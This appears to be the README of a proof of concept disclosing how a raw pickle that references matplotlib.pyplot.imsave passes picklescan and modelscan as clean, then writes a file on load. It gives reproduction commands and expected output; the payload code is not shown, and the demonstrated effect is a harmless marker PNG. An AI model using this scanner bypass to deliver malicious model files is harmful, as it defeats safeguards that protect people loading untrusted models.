Matplotlib imsave pickle-scanner bypass PoC

This PoC builds a raw pickle that uses a direct STACK_GLOBAL reference to:

module = "matplotlib.pyplot"
name   = "imsave"

Both picklescan==1.0.4 and modelscan==0.8.8 report the pickle clean. A normal pickle.load() then creates /tmp/mfv_matplotlib_imsave_scanner_bypass_20260624.png as a PNG image.

Run:

python3 -m venv /tmp/matplotlib-imsave-scanner-bypass-venv
/tmp/matplotlib-imsave-scanner-bypass-venv/bin/python -m pip install --upgrade pip
/tmp/matplotlib-imsave-scanner-bypass-venv/bin/python -m pip install -r requirements.txt
/tmp/matplotlib-imsave-scanner-bypass-venv/bin/python reproduce_matplotlib_imsave_scanner_bypass.py

Expected:

picklescan_clean=True
modelscan_clean=True
load_success=True
marker_exists=True
png_magic_matches=True
REPRO_OK

The payload is generated with raw pickle opcodes and does not contain builtins.getattr.